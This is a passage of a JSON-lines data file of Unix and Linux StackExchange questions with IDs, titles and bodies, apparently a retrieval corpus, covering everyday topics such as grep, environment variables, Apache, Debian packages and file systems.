atieventsd[355]: xauth: file list does not exist May 15 08:32:12 gravity atieventsd[355]: xauth: file list does not exist May 15 08:32:13 gravity atieventsd[355]: xauth: file list does not exist What is this and how should I stop this? (I haven't found any hint on google)"} {"_id": "129510", "title": "Can grep be used for searching files with some string in their names?", "text": "I understand that `grep` can only be used for searching for files which contain a string in their content. Can it be used for searching for files with a string in their names? I read the manpage, and don't think so. Also Is `grep` pronounced as [gri:p] or [grep] (in IPA notation)? I read it as the former."} {"_id": "134910", "title": "How can I capture a consistent snapshot of a directory and all its children?", "text": "We have an application that periodically backs itself up to a directory on the local file system. Inside this directory are several more files and directories. I want to produce a \"snapshot\" of all these files that can be copied to backup storage. Most importantly, how can I produce this \"snapshot\" in an atomic manner? Keep in mind that all the while, any of these files may be modified by the backup daemon rendering our \"snapshot\" inconsistent. Edit: Perhaps I should mention that the system has an `ext4` file system."} {"_id": "115489", "title": "/sys/class filesystem on Linux", "text": "On Linux (Ubuntu 11.10 on a ARM processor in my case) I was looking for a way to measure CPU temperature. I found out that a cat /sys/class/thermal/thermal_zone0/temp did the trick. Now I wonder: what is the /sys/class filesystem meant for?"} {"_id": "129432", "title": "VNC Server without X Window System", "text": "Will a VNC server work without X Server installed? I know vnc works with X Server, but what about without it?"} {"_id": "147854", "title": "How to find site on shared server that is generating httpd requests", "text": "I have a shared server that had a Wordpress site that was compromised. I cleaned out all the wordpress sites on the server and everything seemed to be fine. When I checked today I noticed a large volume of httpd request in htop. **Question:** Is there an easy way to locate what site on the server is generating those requests? Centos 6.5"} {"_id": "81908", "title": "Print arguments to printf in no particular order", "text": "How can I refer back to arguments to `coreutil`'s `printf` in no particular order? This is what I want to avoid: $ printf '%s %s %s %s %s %s %s' a c a c b c a a c a c b c a This is what I would like to do: $ printf '%s %s\u00b3 %s\u00b9 %s\u00b3 %s\u00b2 %s\u00b3 %\u00b9' a b c a c a c b c a This is how to do it with Perl. perl -e 'printf (\"%s %3\\$s %1\\$s %3\\$s %2\\$s %3\\$s %1\\$s\\n\", 'a', 'b', 'c');' a c a c b c a Notice only four arguments are passed to `printf`."} {"_id": "129434", "title": "How can I automatically create a document that allows me to compare a list of 4 .png files side-by-side?", "text": "So I have a list of 4 .png files, and I'd like to auto-pipe this to some document that puts them all side-by-side for easy comparison. I'm thinking of automatically putting them in a HTML file. So I'd like to use terminal commands to automatically put for each of the 4 .png files. How would I best do this via the command line?"} {"_id": "101639", "title": "Faulty support for the installation of Debian Jessie/testing", "text": "From here I downloaded a `debian-testing-amd64-netinst.iso` and `boot.img.gz`, then I followed these instructions but the result is an USB dongle that is capable of booting the Debian installer, reading the `iso` in it, but I got no kernel module, no Ethernet and basically I can't install anything with it because I can't go forward with the installation process or download anything from the internet. I tried to burn the `iso` directly to a CD, same result. I don't get how I'm supposed to do this, what is the logic behind this cumbersome solution solution with this `iso` + boot.img system without kernel modules. I don't even get If I'm doing something wrong or what else is the problem. In the end I'm interested in installing the current Debian testing, codename \"Jessie\", possibly via Wi-Fi ( I have a WPA2 PSK network ) but I have Ethernet too, using an USB dongle."} {"_id": "101634", "title": "How to set default auto mount options for removable media?", "text": "I have quite a bit of removable media (flash drives, external hard drives, etc) that I want to adjust auto mount options for. How does one do this? Is there something similar to `/etc/fstab`?"} {"_id": "101637", "title": "Using alias in another script (ksh)", "text": "I'm writing a `ksh` script, and I'd like to use a command define by an alias in my `.profile` file, in my script. I tried this command in the folder containing my script, and it works. However, in my script, I've: `[command] not found`. How can I solve this? My command just make a `ls` of a repository, then I'm doing in my script: [command]| grep ... | { IFS== read -r var1 x && IFS== read -r var2 x; }"} {"_id": "101631", "title": "Ksh script warnings", "text": "While running my script, I got the following message (it's not an error strictly speaking, because the execution go ahead after) : myScript -s test -u test2 pk_copylogs[2]: hist: :: not found However, do you know why does this message appear ?"} {"_id": "101632", "title": "Running thousands of curl background processes in parallel in bash script", "text": "I am running thounsand of **curl** background processes in parallel in the following bash script START=$(date +%s) for i in {1..100000} do curl -s \"http://some_url_here/\"$i > $i.txt& END=$(date +%s) DIFF=$(( $END - $START )) echo \"It took $DIFF seconds\" done I have 49Gb Corei7-920 dedicated server (not virtual). I track memory consumption and CPU through `top` command and they are far away from bounds. I am using `ps aux | grep curl | wc -l` to count the number of current **curl** processes. This number increases rapidly up to 2-4 thousands and then starts to continuously decrease. If I add simple parsing through piping curl to awk (`curl | awk > output`) than curl processes number raise up just to 1-2 thousands and then decreases to 20-30... Why number of processes decrease so dramatically? Where are the bounds of this architecture?"} {"_id": "115483", "title": "named starts but doesn't answer until reboot", "text": "I have a current arch linux arm running on raspberry-pi and bind 9.9.4.P2-1 from the community repository. I'm using this bind as a slave-nameserver for our internal network. I have enabled named using `systemctl enable named`. When I reboot the raspberry pi the named doesn't answer for `dig stackexchange.com @xx.xx.xx.xx` and runs into a timeout. `systemctl status named` says named is active and all zones have been successfully loaded. If I simply login and issue `systemctl restart named` it provides the correct answer for `dig stackexchange.com @xx.xx.xx.xx`."} {"_id": "77049", "title": "How do I change the screen font size when using a virtual terminal", "text": "Using LDXE and Ubuntu, I can log into a virtual terminal via CTRL+ALT+F1. The text is far too small. How do I change the screen resolution to get a larger font?"} {"_id": "119158", "title": "Why do some Debian packages have a \"+deb7u2\" suffix?", "text": "I figured the \"7u2\" part stood for \"Debian 7.2\" (aka \"wheezy\"). But I'm wondering if anybody knows the official answer as to why some packages have it and others do not. Example: http://metadata.ftp- master.debian.org/changelogs//main/g/grub2/grub2_1.99-27+deb7u2_changelog The only time \"+deb7u2\" is appended to the version is when the package gets put in the \"stable\" release. Does this mean that's a \"tag\" to indicate a checkin to stable from another repo?"} {"_id": "124606", "title": "How to run scripts on headless startup?", "text": "How can I run a shell script when my Raspberry Pi starts up headless? I don't want it to be dependent on booting into a console, or logging in, etc. It will literally be plugged into Ethernet and power, nothing else. I saw this post on RPi SE. The answer was really thorough, but depended on things like logging in, booting to desktop, or booting to console. How can I run a script on powerup, even if none of these things happen? Thanks! evamvid"} {"_id": "124600", "title": "understanding LAMP: linux apache mysql and php", "text": "I have multiple questions and I am confused. Few months back, I was installing a software locally `~/bin`. Tools got installed successfully and running fine till date. In installation it automatically created `var/www/` and added its folders in `~/bin`. Now, I am trying to learn some php development. I have installed apache from source, locally on `~/someFolder`, installation is complete. I did `sudo ~/someFoler/bin ./apachetl start`; `localhost` on browser, and `It works` message received on browser. I do not want to use `sudo`, and do all my learning experiments in `/usr/local` or `/usr/var/www`. Sorry, I do not understand well these directories. From what all I have read and gone through, most users work in `/usr/var` or `usr/local`. However, while copying, removing or doing anything it requires `sudo`. What is the work around for this? How do I get Apache and PHP working locally without using too many `sudo` commands? I read port 80 is required to start the server. Hence, `sudo` is necessary while starting the server. Any help in these would be highly appreciated. machine specification: Linux 3.11.0-15-generic x86_64 Ubuntu 13.10 **Edited** If I install apache and php by sudo, would I have to move my web pages to `/var/www` location?"} {"_id": "74454", "title": "Something's special about /dev/fd/3", "text": "I've been trying to learn about file descriptors. When I type \"ls -l /dev/fd/\" I get lrwx------ 1 me users 64 May 2 16:02 0 -> /dev/pts/5 l-wx------ 1 me users 64 May 2 16:02 1 -> /home/me/file lrwx------ 1 me users 64 May 2 16:02 2 -> /dev/pts/5 lr-x------ 1 me users 64 May 2 16:02 3 -> /proc/31518/fd /dev/fd/3 seems to be pointing to the current process. However, explanations of file descriptors I've seen, e.g. http://www.tldp.org/LDP/abs/html/io- redirection.html, don't say there's anything special about /dev/fd/3 (and imply it's just like any /dev/fd/N for N > 3). What's going on here? I've observed this on arch linux and ubuntu, but not on the solaris server I have an ssh account on."} {"_id": "74451", "title": "Drawbacks of increasing number of inodes in EXT4", "text": "I am currently using `backintime` to take \"snapshots\" of my file system. It is similar to `rsnapshot` in that it, makes hard links to unchanged files. I have recently run out of inodes on my `EXT4` filesystem. `df -hi` reveals I have used 9.4 million inodes. A rough count of the number of current directories times the number of snapshots plus the number of current files suggests that I may in fact be using 9.4 million inodes. From what I understand the `EXT4` filesystem can support around 2^32 inodes. I am considering reformatting the partition to use all 4 billion or so inodes, but I am concerned that this is a bad idea. What are the drawbacks of having so many inodes in an `EXT4` filesystem? Is there a better choice of filesystem for an application like this?"} {"_id": "74450", "title": "start_daemon fails with exit code 7", "text": "I have a daemon called `mydaemon.bin` and a shell script called `start-my- daemon.sh` that sets some environment variables and then starts `mydaemon.bin`, which in turn calls the unix function `daemon` to daemonize itself and then creates a pidfile in `$PIDFILE`. To start the daemon under Suse 10.0 I've written an init script that uses `start_daemon -p $PIDFILE mydaemon.bin`, however in 9 of 10 cases `start_daemon` returns with exit code 7 although the daemon started successfully. Even `pidof proc` does return the right pid. In case #10 it returns 0 as it should. Any hints?"} {"_id": "154544", "title": "Archlinux ARM Apache server fails to start", "text": "I am currently setting up an Apache web server on my Pi running on Archlinux ARM. After installing and making the first small configurations I have tested it and it works. Then I stop the server and wanted to add SSL certificates, I have followed this guide. But after doing this the server does not start again. The error message I get from _systemctl status httpd.service_ is: httpd.service - Apache Web Server Loaded: loaded (/usr/lib/systemd/system/httpd.service:disabled) Active: failed (Result: resources) since Di [...]; 13 min ago Process: 1071 ExecStart=/usr/bin/apachectl start (code=exited, status=0/SUCCESS) [...] apachectl[1071]: (98)Address already in use: AH00072: make_sock:could not bind to address [::]443 [...] PID file /run/httpd/htppd.pit not readable (yet?) after start [...] httpd.service never wrote its PID file. Failing. [...] Failed to start Apache Web Server [...] Unit httpd.service entered failed state The [...] brackets indicates where the date and time would be showned, I left them out as I had to retype everything. I have already change the content of the file _/usr/lib/tmpfiles.d/apache.conf_ to: d /run/httpd 0755 http http - I have also checked if there is another service running with the following command: /usr/sbin/lsof -i | grep http But there is no and chaning the listening port to e.g. 8080 produces the same error just with port 8080 instead of 443. I am looking forward to hear from you."} {"_id": "21598", "title": "How do I set a user environment variable? (permanently, not session)", "text": "This is irritating me. I seen several suggestions (all using different files and syntax) and none of them worked. How do I set an environment variable for a specific user? I am on debian squeeze. What is the exact syntax I should put in the file to make ABC = \"123\"?"} {"_id": "96279", "title": "Removing path in env variable PATH permanently", "text": "I have recently installed Code Sourcery's ARM EABI Tool Chain. All the executable binaries were installed in a separate folder. I thought that the bin path will be added to env variable $PATH. However, after installation I was unable to run, as the bin path was not added to the env variable. So, I removed the directory, downloaded just the binaries (not installation package). Moved to /opt/ folder and I added the new path to the PATH variable by adding the line export PATH=$PATH:/opt/arm/usr/local/bin in `/etc/profile`. Later I restarted my computer and I see that the path to code sourcery's bin(installation path) is present in $PATH along with my manual entry. I checked /etc/profile/ .bashrc I didn't find the path to CodeSourcery's installation How do I remove it now? Though its of no use as the directory is absent. I want to remove that path."} {"_id": "105767", "title": "Chromium OS Compiling Path", "text": "![enter image description here](http://i.stack.imgur.com/u4PzP.png) After following the steps at the Chromium OS Developer site, I would like to know how I could add the path to my .bashrc file so I could make it permanent? I am using Ubuntu 13.10"} {"_id": "50158", "title": "Being not sudo on debian how to make a .sh execute each time I log in?", "text": "> **Possible Duplicate:** > How do I set a user environment variable? (permanently, not session) So each time I log on I want to execute a command like `export PATH=~/gcc-4.5.0-g/bin:$PATH`. I have no sudo rights. So how to make a .sh execute each time I log in?"} {"_id": "42146", "title": "changing an environment variable like PATH forever", "text": "> **Possible Duplicate:** > How do I set a user environment variable? (permanently, not session) to change the amount of PATH variable , I use : `export PATH=...` but when I close the terminal, the amount of PATH becomes what it was at the first. I want to save the changes , so that the amount will be what I want after closing the terminal or logging out. how can I do this work? I use Fedora 17, kernel : 3.4.3 (sorry for my weak english)"} {"_id": "27352", "title": "Update Linux Path permanently", "text": "> **Possible Duplicate:** > How do I set a user environment variable? (permanently, not session) How can I permanently modify the PATH variable in Ubuntu? Is it possible to do it without modifying any files? I currently use `export PATH=${PATH}:/usr/local/cuda/bin` but each time I open a new terminal I have to type it again."} {"_id": "44512", "title": "How to set environment variables permanently for one user", "text": "> **Possible Duplicate:** > How do I set a user environment variable? (permanently, not session) I have a user XX and I want to set the env variables for it. I looked for .bash_profile in the home dir but there was none. SO, I tried with .bashrc, but when I try to see the env variables (printenv), my variables are not there. This is killing me. I tried for root, and it works. But it does not work for user XX."} {"_id": "26342", "title": "How to get environment variables to persist across login?", "text": "> **Possible Duplicate:** > How do I set a user environment variable? (permanently, not session) For a project I'm working on, I have a service that runs at startup which calls a script to set environment variables. This works just fine to set the variables before the login has occurred, however once the user logs in those environment variables are not being persisted and seem to dissappear. I currently have to call my script a second time from /etc/profile for the variables to be set after login. Is there a way to persist the environment variables across a login?"} {"_id": "42033", "title": "Network Printing in Fedora", "text": "I\u00b4m having problems setting up network printing in Fedora 16. In the printer setup box it says FirewallD is not running and gives a list of protocols that need to be enabled. I cannot find a FirewallD but have gone into Firewall and enabled the protocols. There is obviously something I\u00b4m missing. The printer is a Canon MP970 and is connected to a Windows machine. **Update: 4Nov12** Bought a new printer - same problem. This time I set it up properly as a network printer. Windows 7 and Ubuntu both find the printer and print fine. Fedora still complains FirewallD is not running. The new printer is a Canon MG6250. I have installed the drivers from RPM packages."} {"_id": "42036", "title": "How do I get my Logitech Quickcam 4000 up and running?", "text": "I've just installed Debian \u201cSqueeze\u201d and would love it if I could get my webcam up and running. I've Googled for a solution, and there's a package named `pwc` that I need to install to get it up and running (it's a Philips driver, but runs on my Logitech too if I am correct). So, I did a `apt-cache search pwc` but the only result is setpwc - program to set and query settings of (mainly) Philips WebCams. So, how do I install the correct driver for my webcam?"} {"_id": "42037", "title": "Is openwrt difficult to use for a novice?", "text": "**Background** I am very interested in openwrt, I like that it's open source and gives you complete, granular control over your router. I'm going to use my router for a home network (with a nas, htpc and desktop), so the functionality I'm looking for is pretty basic. I'm leaning towards openwrt (instead of ddwrt) because I've read that the code of ddwrt is rather messy compared to openwrt. **Problem** However, seeing the information online leads me to believe that it is not very easy to get started with, and that part of its use takes place on the command line. I am not a linux user (am going to be soon though), so I don't have a lot of experience with the command line. I love to learn new things, and am willing to expend some effort to get everything working, but am I biting off more than I can chew with openwrt as a novice? **Question** So my question is; is openwrt difficult to learn as a novice? Will it take a lot of time? Can anyone with experience in this area give me some feedback?"} {"_id": "128920", "title": "copy files from Google drive", "text": "I've installed a terminal on my nexus tablet and would like to batch copy files from a sub-directory in Google drive to my tablet's dcim directory. how do I do this?"} {"_id": "119905", "title": "Why does my regular expression work in X but not in Y?", "text": "I wrote a regular expression which works well in a certain program (grep, sed, awk, perl, python, ruby, ksh, bash, zsh, find, emacs, vi, vim, gedit, \u2026). But when I use it in a different program (or on a different unix variant), it stops matching. Why?"} {"_id": "42038", "title": "Making voice calls using Huawei E1550", "text": "3G dongle Huawei E1550 is able to make voice calls using huawei app in windows. With search I found the same app for linux (called Mobile Partner), seems it's working and makes calls but without sound (tested on several machines). Is there any other software for making voice calls with this modem?"} {"_id": "42039", "title": "Configure touchscreen on Debian?", "text": "I have got Samsung Q1 Ultra with **Debian Squeeze** on it. Everything works okay, except **touchscreen**. The arrow almost does not respond to touching -- it only moves once in a while to a random place after the screen being touched. I have tried to calibrate the screen using `xinput-calibrate`, but it did not do anything, as the arrow did not respond to touching. X11 generates configuration on start up, so I dont have Xorg.conf to append, but I have **/user/share/X11/xorg.conf.d/10-evdev.conf**. Should I try a different driver (if there are others)? Or is there some configuration that needs to be done? Or what might be wrong? Thanks."} {"_id": "128924", "title": "probably gfs2 problem", "text": "We have a Mail Server (CentOS 6.5) with these component: * Postfix * Dovecot * Mysql * MailScanner (spamassassin,clamav) * GFS2 Partition Last night the server crashed and this is the kernel logs before that: May 11 01:07:01 mail1 kernel: original: gfs2_fallocate+0xdc/0x540 [gfs2] May 11 01:07:01 mail1 kernel: pid: 24608 May 11 01:07:01 mail1 kernel: lock type: 2 req lock state : 1 May 11 01:07:01 mail1 kernel: new: gfs2_fallocate+0xdc/0x540 [gfs2] May 11 01:07:01 mail1 kernel: pid: 24608 May 11 01:07:01 mail1 kernel: lock type: 2 req lock state : 1 May 11 01:07:01 mail1 kernel: G: s:EX n:2/28b165f5 f:yfIqob t:EX d:EX/0 a:1 v:0 r:4 m:200 May 11 01:07:01 mail1 kernel: H: s:EX f:W e:0 p:24608 [imap] gfs2_fallocate+0xdc/0x540 [gfs2] May 11 01:07:01 mail1 kernel: H: s:EX f:W e:0 p:24608 [imap] gfs2_fallocate+0xdc/0x540 [gfs2] May 11 01:07:01 mail1 kernel: H: s:EX f:W e:0 p:24608 [imap] gfs2_fallocate+0xdc/0x540 [gfs2] May 11 01:07:01 mail1 kernel: H: s:EX f:W e:0 p:24608 [imap] gfs2_fallocate+0xdc/0x540 [gfs2] May 11 01:07:01 mail1 kernel: H: s:EX f:W e:0 p:24608 [imap] gfs2_fallocate+0xdc/0x540 [gfs2] May 11 01:07:01 mail1 kernel: H: s:EX f:W e:0 p:24608 [imap] gfs2_fallocate+0xdc/0x540 [gfs2] May 11 01:07:01 mail1 kernel: H: s:EX f:W e:0 p:24608 [imap] gfs2_fallocate+0xdc/0x540 [gfs2] I found these solutions in this post titled: /var/log/messages shows lines like \"H: s:EX f:W e:0 p:19456 [imap] gfs2_fallocate+0xdc/0x540 [gfs2]\" repeated many times and GFS2 file system becomes inaccessible in RHEL 6 but we're not a Red Hat subscriber. In the Dovecot logs I found the message: > MySQL server has gone away **NOTE:** Presently the MySQL data is stored on that GFS2 partition. Does anyone have any ideas on how to resolve this problem?"} {"_id": "6689", "title": "Prevent non-root user from formatting a partition", "text": "Few days back I mistakenly formatted a partition on my external hard drive by clicking Format from the Context menu in Computer. I want to know that how can I prevent non-root user from being able to do so. At the same time I need the non-root user to be able to read and write on the partition. I use Fedora 14. Thanks."} {"_id": "3037", "title": "Is there an easy way to replace duplicate files with hardlinks?", "text": "I'm looking for an easy way (a command or series of commands, probably involving `find`) to find duplicate files in two directories, and replace the files in one directory with hardlinks of the files in the other directory. Here's the situation: This is a file server which multiple people store audio files on, each user having their own folder. Sometimes multiple people have copies of the exact same audio files. Right now, these are duplicates. I'd like to make it so they're hardlinks, to save hard drive space."} {"_id": "5123", "title": "How to de-unzip, de-tar -xvf -- de-unarchive in a messy folder?", "text": "Usually, I unarchive things by `$ mkdir newFolder; $ mv *.zip newFolder; $ cd newFolder; $unzip *.zip` but sometimes I get lazy and just do in an arbitrary folder `$ unzip *.zip` so time-to-time messing up with other content. Before you say that my brains are missing, I will list here some methods -- some archive version surely have crappy-flags while others more spartan, I am more interested about the latter but feel free to share any way. **Some ways to de-unarchive, are there others?** 1. `$ find . -anewer fileThatExistedBeforeUnarchieving -ok rm '{}' \\;` Weaknesses are that it lists the `*.zip` dirs, so you need to use slow `-ok`, slow with many `*.zip` matches and, for some reason, it does not seem to match everything extracted. 2. If small amount of extracted files, one-by-one, slow, cumbersome and error-prone. 3. When I want to make sure whether the content of the archieve is actually a folder, I sometimes check it with `$ unzip -l *.bsd`, works at least in obsd`s unzip-version. If you are referring to certain archiving tools, please, state them when appropriate. Keep it simple though -- I am more interested about the WAYS how you do it, rather than a single tool."} {"_id": "25005", "title": "Remove accidentally extracted files", "text": "> **Possible Duplicate:** > How to de-unzip, de-tar -xvf -- de-unarchive in a messy folder? This is a pretty annoying occurrence. Sometimes, I download an archive (`tar.gz, tar.bz2, zip, rar, etc`) and run `tar xf [file]` (or similar) in the file's directory. In rare occasions, all the files extract in the current working directory instead of a sub-directory. This can lead to hundreds of files and hundreds of patterns that can't simply be removed using a pattern matching solution. Is there a way to get the file contents of an archive and then delete all files on that list in the current working directory?"} {"_id": "24016", "title": "How to undo an unrar?", "text": "> **Possible Duplicate:** > How to de-unzip, de-tar -xvf -- de-unarchive in a messy folder? I just extracted a RAR archive that contained a lot of files in the base directory. Assuming that there were no filename collisions, what's the easiest way to remove the files just created? Parsing `unrar -l` seems troublesome due to filename variety."} {"_id": "6687", "title": "Questions on Linux kernel internals", "text": "I was reading \"Linux device drivers, 3rd edition\" and faced a few kernel items I don't quite understand. Hope gurus on this forum will help me out. 1. Does the Linux kernel internally operate with virtual or physical addresses? What especially confuses me is that there are several types of addresses (logical, virtual, bus and physical) and they are all valid and operable by the kernel. 2. Is that correct that CPU instructions can't directly address data stored in peripheral devices and therefore addressable memory is used, i.e. buffers, for these purposes? 3. Can a process sleep when requesting a semaphore (which has a value 0) and has to wait for it? 4. Atomic operations -- are these guaranteed by specific CPU instructions?"} {"_id": "125580", "title": "Piping commands, modify stdin write to stdout", "text": "echo Hello World | nano - | less I want to modify Hello -> Goodbye while in the the text editor. It does not have to be with nano. I am stuck with nano reading stdin but requiring me to write to a file (writing to - creates a file named -)"} {"_id": "121386", "title": "Can't find ubuntu-desktop package on ubuntu desktop iso", "text": "Trying to add a desktop environment to Ubuntu Server 13.10. The machine is offline and needs to stay that way for a while. I burned the Ubuntu Destop ISO (ubuntu-13.10-desktop-amd64.iso, nabbed here) to a DVD and tried to use apt to install ubuntu-desktop like so: # add cdrom to apt repos apt-cdrom add # \"apt-cdrom ident\" and a look in sources.list confirmed that this worked # refresh sources apt-get update # install ubuntu-desktop from DVD apt-get install ubuntu-desktop # fails, package not found However, ubuntu-desktop doesn't appear to be present. (ubuntu-minimal and ubuntu-standard both are, FYI.) Have I downloaded the wrong image? Is there a better source? Thanks so much for your help!"} {"_id": "121384", "title": "I'm trying to install steam on debian jessie/sid but I'm getting unresolved dependencies", "text": "I'm following the debian wiki on installing steam but I keep getting dependency issues. Debian tells me to edit my sources.list to: deb http://http.debian.net/debian/ jessie main contrib non-free My sources.list looks like this: Debian GNU/Linux jessie/sid \\n \\l # deb http://ftp.uk.debian.org/debian/ jessie main contrib non-free deb-src http://ftp.uk.debian.org/debian/ jessie main contrib non-free #deb http://ftp.uk.debian.org/debian wheezy main #deb http://security.debian.org/ wheezy/updates main non-free #deb-src http://security.debian.org/ wheezy/updates main contrib non-free # wheezy-updates, previously known as 'volatile' #deb http://ftp.uk.debian.org/debian/ wheezy-updates main contrib non-free #deb-src http://ftp.uk.debian.org/debian/ wheezy-updates main contrib non-free My unresolved dependencies look like: Keep the following packages at their current version: 1) gcc-4.8-base:i386 [Not Installed] 2) libc6:i386 [Not Installed] 3) libc6-i686:i386 [Not Installed] 4) libdrm-intel1:i386 [Not Installed] 5) libdrm-nouveau2:i386 [Not Installed] 6) libdrm-radeon1:i386 [Not Installed] 7) libdrm2:i386 [Not Installed] 8) libelf1:i386 [Not Installed] 9) libexpat1:i386 [Not Installed] 10) libffi6:i386 [Not Installed] 11) libgcc1:i386 [Not Installed] 12) libgl1-mesa-dri:i386 [Not Installed] 13) libgl1-mesa-glx:i386 [Not Installed] 14) libglapi-mesa:i386 [Not Installed] 15) libllvm3.3:i386 [Not Installed] 16) libpciaccess0:i386 [Not Installed] 17) libstdc++6:i386 [Not Installed] 18) libtxc-dxtn-s2tc0:i386 [Not Installed] 19) libx11-6:i386 [Not Installed] 20) libx11-xcb1:i386 [Not Installed] 21) libxau6:i386 [Not Installed] 22) libxcb-dri2-0:i386 [Not Installed] 23) libxcb-glx0:i386 [Not Installed] 24) libxcb1:i386 [Not Installed] 25) libxdamage1:i386 [Not Installed] 26) libxdmcp6:i386 [Not Installed] 27) libxext6:i386 [Not Installed] 28) libxfixes3:i386 [Not Installed] 29) libxxf86vm1:i386 [Not Installed] 30) steam:i386 [Not Installed] 31) zlib1g:i386 [Not Installed] Leave the following dependencies unresolved: 32) libgl1-mesa-glx:i386 recommends libgl1-mesa-dri:i386 (>= 7.2) I think this could be something to do with `# dpkg --add-architecture i386` but nothing seems to happen when I run the command. Help appreciated. **Edit:** root@Wheezy:/# apt-get install steam Reading package lists... Done Building dependency tree Reading state information... Done Some packages could not be installed. This may mean that you have requested an impossible situation or if you are using the unstable distribution that some required packages have not yet been created or been moved out of Incoming. The following information may help to resolve the situation: The following packages have unmet dependencies: steam:i386 : Depends: libc6:i386 (>= 2.12) but it is not going to be installed Depends: libstdc++6:i386 (>= 4.3) but it is not going to be installed Depends: libx11-6:i386 but it is not going to be installed Depends: libgl1-mesa-dri:i386 but it is not going to be installed Depends: libgl1-mesa-glx:i386 but it is not going to be installed Depends: libtxc-dxtn-s2tc0:i386 but it is not going to be installed E: Unable to correct problems, you have held broken packages. **Edit:** root@Wheezy:/# dpkg --print-architecture amd64 root@Wheezy:/# dpkg --print-foreign-architectures i386 **Edit:** root@Wheezy:/# apt-cache policy libc6:i386 libstdc++6:i386 libx11-6:i386 libgl1-mesa-dri:i386 libgl1-mesa-glx:i386 libtxc-dxtn-s2tc0:i386 steam:i386 libc6:i386: Installed: (none) Candidate: 2.18-4 Version table: 2.18-4 0 500 http://ftp.uk.debian.org/debian/ jessie/main i386 Packages libstdc++6:i386: Installed: (none) Candidate: 4.8.2-16 Version table: 4.8.2-16 0 500 http://ftp.uk.debian.org/debian/ jessie/main i386 Packages libx11-6:i386: Installed: (none) Candidate: 2:1.6.2-1 Version table: 2:1.6.2-1 0 500 http://ftp.uk.debian.org/debian/ jessie/main i386 Packages libgl1-mesa-dri:i386: Installed: (none) Candidate: 9.2.2-1 Version table: 9.2.2-1 0 500 http://ftp.uk.debian.org/debian/ jessie/main i386 Packages libgl1-mesa-glx:i386: Installed: (none) Candidate: 9.2.2-1 Version table: 9.2.2-1 0 500 http://ftp.uk.debian.org/debian/ jessie/main i386 Packages libtxc-dxtn-s2tc0:i386: Installed: (none) Candidate: 0~git20131104-1.1 Version table: 0~git20131104-1.1 0 500 http://ftp.uk.debian.org/debian/ jessie/main i386 Packages steam:i386: Installed: (none) Candidate: 1.0.0.45-1 Version table: 1.0.0.45-1 0 500 http://ftp.uk.debian.org/debian/ jessie/non-free i386 Packages root@Wheezy:/# **Edit:** root@Wheezy:/# apt-cache policy Package files: 100 /var/lib/dpkg/status release a=now 500 http://ftp.uk.debian.org/debian/ jessie/non-free Translation-en 500 http://ftp.uk.debian.org/debian/ jessie/main Translation-en 500 http://ftp.uk.debian.org/debian/ jessie/contrib Translation-en 500 http://ftp.uk.debian.org/debian/ jessie/non-free i386 Packages release o=Debian,a=testing,n=jessie,l=Debian,c=non-free origin ftp.uk.debian.org 500 http://ftp.uk.debian.org/debian/ jessie/contrib i386 Packages release o=Debian,a=testing,n=jessie,l=Debian,c=contrib origin ftp.uk.debian.org 500 http://ftp.uk.debian.org/debian/ jessie/main i386 Packages release o=Debian,a=testing,n=jessie,l=Debian,c=main origin ftp.uk.debian.org 500 http://ftp.uk.debian.org/debian/ jessie/non-free amd64 Packages release o=Debian,a=testing,n=jessie,l=Debian,c=non-free origin ftp.uk.debian.org 500 http://ftp.uk.debian.org/debian/ jessie/contrib amd64 Packages release o=Debian,a=testing,n=jessie,l=Debian,c=contrib origin ftp.uk.debian.org 500 http://ftp.uk.debian.org/debian/ jessie/main amd64 Packages release o=Debian,a=testing,n=jessie,l=Debian,c=main origin ftp.uk.debian.org Pinned packages:"} {"_id": "121388", "title": "Compose key works on console/TTY, but not in X session", "text": "My compose key does not work in my X session anymore if I change a certain line in my `/etc/default/keyboard` that (if I am not mistaken) should only affect the keymap of the TTY. I'll try to elaborate on this since the situation probably is kind of convoluted. I normally use German keyboard layout with no dead keys. A while ago, however, I was trying out Neo (an alternate keyboard layout), and since I also wanted to be able to use Neo on the TTY, I edited `/etc/default/keyboard` to look like this (`/etc/console-setup/` contains the file `neo.map.gz`, among others): # If you change any of the following variables and HAL and X are # configured to use this file, then the changes will become visible to # X only if HAL is restarted. In Debian you need to run # /etc/init.d/hal restart # The following variables describe your keyboard and can have the same # values as the XkbModel, XkbLayout, XkbVariant and XkbOptions options # in /etc/X11/xorg.conf. XKBMODEL=\"pc105\" XKBLAYOUT=\"de\" XKBVARIANT=\"nodeadkeys\" XKBOPTIONS=\"compose:rwin\" # right Win is the Compose key # If you don't want to use the XKB layout on the console, you can # specify an alternative keymap. Make sure it will be accessible # before /usr is mounted. # KMAP=/etc/console-setup/defkeymap.kmap.gz # Set up Neo 2 for TTY KMAP=/etc/console-setup/neo.map.gz # <-- this is the line I'm talking about BACKSPACE=\"guess\" After some time, I decided I did not want to use Neo anymore, so I went back to German layout with nodeadkeys for my X session. Because I was lazy, I did not change the layout on the TTY right away, therefore the TTY still uses Neo. Yesterday I finally wanted to change the TTY keyboard layout back to de- nodeadkeys. Therefore I commented the line `KMAP=/etc/console- setup/neo.map.gz`, and when I booted my computer today, I found that all is well and the console uses German layout again. Except that, suddenly, my compose key does not work in my X session anymore, which previously worked just fine. It does however work on the TTY with de-nodeadkeys. I uncommented `KMAP=/etc/console-setup/neo.map.gz` again, rebooted and now I once again have a working compose key in my X session, but also Neo on the TTY. **I would rather have de-nodeadkeys layout on the TTY while still having a working compose key on X. How can I achieve this?** Instead of editing `/etc/default/keyboard` manually, I also tried # dpkg-reconfigure keyboard-configuration (as suggested here on unix.SE), just to make sure I did not insert any errors by editing the file myself. For testing purposes, I selected the left Win key instead of the right one, but this did not help either. I don't know if this is important, but I use `xim` for input on X, my `.bashrc` contains the line `export GTK_IM_MODULE=xim` and my `.Xcompose` file comes from Kragen's xcompose."} {"_id": "128755", "title": "Escaping multiple backticks in a sed call", "text": "I need to perform search and replacement iteratively in several SQL statements: From: CREATE TABLE `Old_Name` ( To: ALTER TABLE `Old_Name` RENAME TO `New_Name` The above query contains backticks ```. I tried doing the following sed -i -r \"s/CREATE TABLE \\`$search\\` \\(/ALTER TABLE \\`$search\\` RENAME TO \\`$replacement\\`/g\" /query.txt; It creates an enter on the command line instead. But if I add a space behind `$replacement`, it runs normally. But I do not want the space after `New_Name`. Note, I do not know whether this is actually caused by the backticks or it could be a variable name interpolation problem. Regardless the case, how can I solve this issue?"} {"_id": "98390", "title": "Run an executable with a Shell Script", "text": "I have `mplayer` installed and I want to create a simple shell script that runs in `bash` and executes `mplayer *` in the current directory. So, how to call upon `mplayer` in the shell script? I am a newbie to linux and would like detailed instructions."} 